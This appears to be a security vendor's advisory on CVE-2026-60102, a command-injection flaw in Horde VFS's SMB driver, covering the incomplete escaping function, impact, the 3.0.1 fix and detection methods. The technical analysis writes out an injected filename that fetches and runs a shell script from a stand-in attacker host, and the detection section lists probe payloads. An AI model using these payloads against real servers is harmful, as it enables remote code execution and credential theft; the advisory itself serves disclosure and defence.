Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
ZeroDays CVE-2026-60102
High CVE-2026-60102 CVSS 8.8 Horde Virtual File System (VFS) PHP

Horde VFS Command Injection

CVE-2026-60102 allows authenticated attackers to execute arbitrary OS commands through malicious filenames in Horde VFS before 3.0.1.

Offensive360 Research Team
Affects: < 3.0.1
Source Code View Patch

Overview

CVE-2026-60102 is an OS command injection vulnerability in the Horde_Vfs_Smb driver of the Horde Virtual File System (VFS) API, affecting all releases prior to version 3.0.1. The flaw resides in the _escapeShellCommand() method, which is responsible for sanitizing user-supplied input before it is interpolated into shell commands passed to smbclient. The method fails to strip or neutralize command substitution sequences — specifically backtick (`) and $(...) syntax — meaning that a crafted filename can cause the shell to evaluate embedded subcommands before smbclient ever executes.

The vulnerability was identified through code-level analysis of how the Smb driver constructs shell arguments and passes them to proc_open() via /bin/sh -c. Because the assembled command string is executed inside a double-quoted shell context, standard shell metacharacter escaping is insufficient: the shell still processes command substitution sequences even when other special characters are neutralized. Any authenticated user who can interact with VFS operations — file upload, folder creation, rename, or deletion — can supply a filename that triggers arbitrary command execution on the underlying server.

Deployments of Horde Groupware, Horde Groupware Webmail Edition, or any application that integrates Horde VFS with an SMB/CIFS backend are directly affected. Given that these deployments often run with service-account-level OS privileges, successful exploitation can result in full host compromise, lateral movement within internal networks, and unauthorized access to sensitive shared storage.


Technical Analysis

The root cause lives in the _escapeShellCommand() helper inside lib/Horde/Vfs/Smb.php. Its intent is to make filenames and path components safe for inclusion in a shell command string. The original implementation used escapeshellarg() or a manual character-class denylist to escape common metacharacters, but it did not account for command substitution sequences that remain active inside double-quoted strings in POSIX shells.

Vulnerable code pattern (simplified for illustration):

// Horde_Vfs_Smb — VULNERABLE (_escapeShellCommand prior to 3.0.1)
protected function _escapeShellCommand(string $cmd): string
{
    // Only escapes a narrow set of shell metacharacters.
    // Does NOT neutralize backticks or $(...) substitution sequences.
    return str_replace(
        ['\\', '"', "'", ';', '&', '|', '<', '>'],
        ['\\\\', '\\"', "\\'", '\\;', '\\&', '\\|', '\\<', '\\>'],
        $cmd
    );
}

// Later, a filename is embedded into a double-quoted smbclient command:
$command = sprintf(
    'smbclient "%s" -U "%s%%%s" -c "put \"%s\" \"%s\""',
    $this->_params['share'],
    $this->_params['username'],
    $this->_params['password'],
    $localFile,
    $this->_escapeShellCommand($remoteFile)  // attacker-controlled
);

// Executed through the shell:
proc_open("/bin/sh -c " . escapeshellarg($command), $descriptorSpec, $pipes);

When an attacker supplies a filename such as:

normal_file$(curl http://attacker.example/shell.sh|bash).txt

the _escapeShellCommand() method leaves $(...) untouched because $ and ( are absent from its replacement table. The assembled command string passed to /bin/sh -c becomes:

smbclient "//host/share" -U "user%pass" -c "put \"/tmp/upload\" \"normal_file$(curl http://attacker.example/shell.sh|bash).txt\""

Inside the double-quoted -c argument, /bin/sh performs command substitution on $(curl ...) before invoking smbclient, executing the injected payload with the privileges of the web-server process. The same injection vector applies to backtick-style substitution (`id`) and to any VFS operation that funnels a user-controlled string through _escapeShellCommand() into the smbclient -c sub-command argument.

The fundamental design mistake is relying on an incomplete character denylist rather than a structurally safe argument-passing mechanism. Double-quoted contexts in POSIX shells are not safe containers for arbitrary user data — only $'...' quoting or passing arguments out-of-band (e.g., via environment variables or argument arrays) can provide that guarantee.


Impact

An authenticated attacker who can reach any VFS file operation — uploading a file, creating a folder, renaming, or deleting — through the Horde application front-end can achieve arbitrary command execution on the host running the PHP application server. The CVSS 8.8 (High) score reflects the High confidentiality, integrity, and availability impact with no privilege escalation required beyond a standard authenticated session.

Practical consequences include:

  • Remote code execution: Reverse shells, web shells, or in-memory implants can be deployed in a single request.
  • Credential harvesting: The smbclient connection parameters (share path, username, cleartext password) are embedded in the same command string and are immediately accessible to the injected payload.
  • Lateral movement: Because the compromised host holds SMB credentials, an attacker can pivot directly to internal file servers and domain resources.
  • Data exfiltration: Full read access to any path reachable by the service account, including Horde user data, attachments, and database credentials stored in configuration files.

Organizations running Horde in environments with internal SMB shares — common in enterprise intranet and government deployments — face the highest exposure because the SMB backend is an explicit design choice rather than an accidental misconfiguration.


How to Fix It

Upgrade immediately. The patch is available in Horde VFS 3.0.1. Using Composer:

composer require horde/vfs:"^3.0.1"
# or, if managing via a Horde bundle:
composer update horde/vfs

The fix in 3.0.1 replaces the incomplete denylist with explicit neutralization of command substitution syntax:

// Horde_Vfs_Smb — FIXED (_escapeShellCommand in 3.0.1)
protected function _escapeShellCommand(string $cmd): string
{
    // Strip or escape ALL shell-special sequences, including
    // command substitution operators backtick and $(...).
    return str_replace(
        ['\\', '"', "'", ';', '&', '|', '<', '>', '`', '$'],
        ['\\\\', '\\"', "\\'", '\\;', '\\&', '\\|', '\\<', '\\>', '\\`', '\\$'],
        $cmd
    );
}

Beyond the immediate patch, teams should consider a structural improvement: pass the smbclient -c sub-command arguments through an array-based proc_open() invocation with explicit argv, bypassing /bin/sh entirely and eliminating the shell-interpolation attack surface at the architectural level:

// Preferred long-term approach: avoid /bin/sh entirely
$cmd = [
    'smbclient', $share,
    '-U', $username . '%' . $password,
    '-c', 'put "' . addslashes($localFile) . '" "' . addslashes($remoteFile) . '"'
];
proc_open($cmd, $descriptorSpec, $pipes);
// PHP 7.4+ accepts arrays directly, skipping shell interpretation

This architecture ensures that no shell is spawned and that command substitution is structurally impossible, regardless of what characters appear in filenames.


Our Take

Command injection through insufficient shell-character sanitization is one of the oldest vulnerability classes in existence, yet it continues to appear in mature, widely deployed software. The pattern is almost always the same: a developer writes a custom escaping function rather than relying on a structurally safe mechanism, and that function misses at least one dangerous character class. In this case, the oversight was command substitution sequences — a subtlety that is easy to overlook when mentally modeling shell escaping but trivially exploitable in practice.

For enterprises running Horde in authenticated-access environments, the “authenticated attackers only” qualifier in the severity description provides false comfort. In most enterprise deployments, hundreds or thousands of users hold valid credentials. A single compromised account — via phishing, credential stuffing, or session hijacking — is sufficient to pivot from the application tier to the underlying OS and from there into internal SMB infrastructure.

The broader lesson for development teams: never write custom shell-escaping routines for user-controlled data. Use array-form proc_open() or equivalent language-level abstractions that bypass the shell interpreter entirely. Treat any function named escapeShell* that you wrote yourself as a red flag requiring immediate audit.


Detection with SAST

This vulnerability class maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’). SAST detection focuses on two complementary patterns:

Taint propagation: Track user-controlled input (HTTP parameters, uploaded filenames, form fields) as it flows through sanitization functions and into sink functions — specifically exec(), shell_exec(), system(), passthru(), popen(), and proc_open() when called with a string (not array) argument. If the taint survives through an intermediate escaping function that does not fully neutralize the payload, a finding is raised.

Incomplete sanitizer detection: Offensive360’s SAST engine flags custom escape* or sanitize* functions that use character-replacement or denylist approaches against shell sinks. The engine applies a character-class completeness check: if the replacement table does not include `, $, (, and ), the function is flagged as an insufficient sanitizer for shell contexts (CWE-116).

Shell context inference: When a tainted string is embedded inside a double-quoted argument passed to /bin/sh -c, the engine applies shell grammar rules to identify which metacharacter classes remain active inside that quoting context, enabling precise detection of command-substitution bypasses even when other metacharacters are correctly escaped.

DAST detection is straightforward: probe all filename and path parameters accepted by file-operation endpoints with payloads such as $(sleep 10), `sleep 10`, and $(nslookup attacker-oast-domain) and measure time-delay or out-of-band DNS responses.


References

#command-injection #horde #vfs #smb #php

Detect this vulnerability class in your codebase

Offensive360 SAST scans your source code for CVE-2026-60102-class vulnerabilities and thousands of other patterns — across 60+ languages.